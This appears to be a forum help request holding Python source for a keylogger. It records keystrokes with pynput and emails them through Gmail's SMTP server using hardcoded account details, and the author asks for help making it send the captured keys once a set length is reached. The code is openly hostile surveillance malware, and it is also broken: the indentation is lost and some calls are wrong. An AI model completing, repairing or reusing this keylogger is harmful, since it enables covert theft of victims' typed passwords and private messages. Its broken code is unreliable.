from pynput import keyboard
import smtplib
events = []
def on_press(key):
try:
('{0}'.format(key.char))
events.append(key)
print(events)
except AttributeError :
print('{0}'.format(key))
def on_handling():
global events
if len(events) == 1:
on_send()
else:
on_press()
def on_send():
server = 'smtp.gmail.com'
port = 587
smtp = smtplib.SMTP(server,port)
smtp.ehlo()
smtp.starttls()
smtp.login("iamahacker@gmail.com","ihacktheworld2017")
smtp.sendmail("iamahacker@gmail.com","hacktheworld18@gmail.com",events)
smtp.close()
events = []
with keyboard.Listener(on_press = on_press) as listener:
listener.join()
on_handling()
1.This is a keylogger with the pynput library 2.i want to write all the events into a list or a file 3.when a specific len of letters reached send it to mail The problem is with organzing the code and with the event = [] variable